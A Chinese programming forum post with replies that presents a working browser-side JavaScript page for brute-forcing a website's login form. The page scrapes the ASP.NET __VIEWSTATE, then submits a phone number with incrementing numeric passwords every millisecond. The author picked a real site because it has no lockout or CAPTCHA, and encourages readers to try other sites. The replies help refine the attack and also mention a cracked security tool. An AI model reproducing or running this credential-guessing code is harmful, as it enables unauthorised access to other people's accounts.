用Ajax来get,post数据实现【轻量而高效的】暴力破解
前言
在.Net环境中,我们常常使用HttpRequest,HttpResponse来发送,交换数据,这个相信不少朋友都用过。但这种方法对于Ajax来说就过于重量级了。
可以使用Web,Winform,Console版本,后者效率较高一点,前段时间,园子里有位朋友也做了个【把骗子玩了一把】的示例。
【它山之石】:
今天把骗子耍了一把 - 翟士丹 Stan Zhai - 博客园
http://www.cnblogs.com/jasondan/archive/2013/09/13/3319853.html
在.Net中调用各种类库,的确很方便,如果没能够做到多线程的话,效率也是很低的,另一方面,它严重依赖.Net平台。。。
近来,刚刚开始接触Ajax,主要练习两个方法 get,post:
XMLHttpRequestGet
复制代码
<script type="text/javascript">
var urlGet = "http://XXXX/login.aspx?"+Math.random(); //get方式提交,加上随机数,避免浏览器缓存而304;
var xmlhttpGet;
var returnData;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttpGet=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttpGet=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{ <!-- xmlhttp.readyState有4种状态,0-未初始化,1-读取中,2-已读取,2-交互中,4-完成; -->
<!-- status为服务器返回的状态码,200-成功 -->
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
returnData=xmlhttp.responseText;
alert(returnData);
}
}
xmlhttp.open("GET",urlGet,true);
xmlhttp.send();
</script>
复制代码
XMLHttpRequestPost
复制代码
<script type="text/javascript">
var url="http://xxxx/login.ashx; //post方式,浏览器不会缓存,这里不再需要随机参数
var xmlhttpPost;
var returnData;
var toSendData="loginId=xxx&passWord=boy"; //这里是要post的数据,用&号分隔
if (window.xmlhttpPostRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttpPost=new xmlhttpPostRequest();
}
else
{// code for IE6, IE5
xmlhttpPost=new ActiveXObject("Microsoft.xmlhttpPost");
}
xmlhttpPost.onreadystatechange=function()
{
if (xmlhttpPost.readyState==4 && xmlhttpPost.status==200)
<!-- xmlhttpPost.readyState有4种状态,0-未初始化,1-读取中,2-已读取,2-交互中,4-完成; -->
<!-- status为服务器返回的状态码,200-成功 -->
{
<!-- returnData=document.getElementById("txtHint").innerHTML=xmlhttpPost.responseText; -->
returnData=xmlhttpPost.responseText;
alert(returnData);
}
}
xmlhttpPost.open("post",url,true);
<!-- post数据时,这句话是必须的: -->
xmlhttpPost.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttpPost.send(toSendData);
</script>
复制代码
无尽插柳,柳成荫
看了那篇【今天把骗子玩了一把】的文章加上学习了上面那两个方法之后,想找个什么网站来GET,POST数据玩一玩,于是找到了某网站的一个账号登录页,用Fiddle抓包看了一下,发现,登录时,即使密码错误多次,它都不会把你列为黑名单。。也没有验证码的~~~登录的时候,只要要提供几个参数就可以了,以下为暴力破解的示例,
【为了防止搞跨服务器,我把敏感URL处理了~~各位了解原理后,可以找一些其他网站试试~~切勿做坏事哦,后果自负~~~】
复制代码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
</head>
<body>
<p id="time"></p>
<p id="endtime"></p>
<p id="txtHint"></p>
<p id="curPwd"></p>
<p id="ok"></p>
<button onclick="startTask()">startTask</button>
<button onclick="stopTask()">stopTask</button>
<script type="text/javascript">
document.getElementById("time").innerHTML = new Date();
var __VIEWSTATE=null;
var loginName=手机号码;
var pwd=100000;
var timerid = null; //用来做定时器
function stopTask() {
clearInterval(timerid);
}
function startTask() {
timerid = window.setInterval( //达到循环调用的效果;
//while(true) //与.Net环境不同,用while,直接卡死
//{
function startCrack()
{
var urlGet = "http:XXXXX/login.xxx?"+Math.random(); //get方式提交,加上随机数,避免浏览器缓存而304;
var urlPost = "http:XXXXX/login.xxx";
var returnData;
var xmlHttpGet;
var xmlHttpPost;
if (window.XMLHttpRequest) { //code for IE7+,Firebox,Chrome,Opera,Safari
xmlHttpGet = new XMLHttpRequest();
xmlHttpPost = new XMLHttpRequest();
}
else {
xmlHttpGet = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttpPost = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlHttpGet.onreadystatechange = function ()
{
if (xmlHttpGet.readyState == 4) //get方式,获取__VIEWSTATE
{
if (xmlHttpGet.status == 200) //在VisualStudio中运行不能起作用的,异域问题?
{
e = document.createElement('div');
e.style.display="none";
e.innerHTML = xmlHttpGet.responseText;
document.body.insertBefore(e,null);
//alert(document.getElementsByName('__VIEWSTATE')[0].value);
__VIEWSTATE=document.getElementsByName('__VIEWSTATE')[0].value;
xmlHttpPost.onreadystatechange = function () //post方式,提交表单数据;
{
if (xmlHttpPost.readyState == 4)
{
document.getElementById("curPwd").innerHTML=pwd;
if (xmlHttpPost.status == 200)
{
//document.getElementById('ok').innerHTML=xmlHttpPost.responseText;
document.getElementById("time").innerHTML = new Date();
if (xmlHttpPost.status == 302) //密码正确后,返回302,但无法进入到这一句;
{
document.getElementById("time").innerHTML = new Date();
alert("scucess! Pw is:"+pwd);
clearInterval(timerid); //执行后,达不到马上停止的效果,这里暂时用多句来减缓,要改善
clearInterval(timerid);
clearInterval(timerid);
clearInterval(timerid);
clearInterval(timerid);
clearInterval(timerid);
}
}
}
}
xmlHttpPost.open("post", urlPost, true);
xmlHttpPost.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); //post方式要设置httpHeader的类型;
var toSendData = "__VIEWSTATE="+encodeURIComponent(__VIEWSTATE)+"&edtUserCode="+loginName+"&edtPWD="+pwd+"&ddlbLoginMode=xxxxxxx&btnLogin=%B5%C7%C2%BC";
xmlHttpPost.send(toSendData);
pwd++;
}
}
}
xmlHttpGet.open("GET", urlGet, true);
xmlHttpGet.send();
}
, 1 //单位是ms;
);
}
</script>
</body>
</html>
复制代码
万事俱备,只欠东风。。。
现在,把上面的代码修改一下保存为HTML文件,在IE浏览器中运行便可以看到效果(CPU差的慎测,小心卡住,没响应~~)
【问题0】非IE不能获取服务器返回的数据,【跨域】问题?请老鸟说一说!
【问题1】上面有个缺憾是,当验证密码通过(用Fiddle抓包可以看到状态码为:302)之后,它不能检查到,所以跳不出来。。。
【问题2】上面是用window.setInterval(XX,1)来达到循环调用的,但用 clearInterval(timerid);来清除,往往不能马上停止,用什么方法比较好解决?
百家争鸣
如今,Web技术很多,就拿简单的HTTP,GET,POST数据来说,可以用.Net,Java等,或者直接用第三方Web安全检测工具,如著名的:burpsuitepro_v1.4_professional_cracked,可以很快地实现GET,POST数据。
但说到轻量级的,有与Javascript为辅助的Ajax争锋么?一个3KB左右的文件,加上一个IE6以上的浏览器,就可以实现了,如果处理一下上面的那个【问题0】,兼容其它浏览器的话,还可以做到跨平台了哦~~~一次编写,到处运行~~~
此文纯属抛砖引玉,望各位不要见笑,期望你们的精彩回复!群策群力,解决上面提到的那几个问题。
[解决办法]
非IE需要页面设置过access-Control-Allow-Origin响应头浏览器才会处理请求,这个响应头一般登录页面不可能设置,就算设置也不可能设置为*
IE和本地设置有关,你关了通过域访问数据源照样报错
clearInterval只是清空下一次的请求,不再发送,当前的会继续运行,要立即停止要设置一个变量记录状态,然后状态转换函数中检查这个状态,而不是靠clearInterval控制状态
问题1你要自己看他登陆成功后转向哪个页面或者返回一些什么特殊信息来判断
总的来说爆破这种不是js来做的,是winform+线程(无跨域问题,也可以检查状态,js检查不了302状态,会继续请求302请求的页面,而不是停留)
[解决办法]
internet是发布后的,所以发布后通过http协议访问网站后会报错,要设置intranet,就是第二项,不是第一项
对于标准浏览器,除非被请求的ajax页面设置过过access-Control-Allow-Origin响应头为*,要不虽然发出了请求,但是获取不到返回值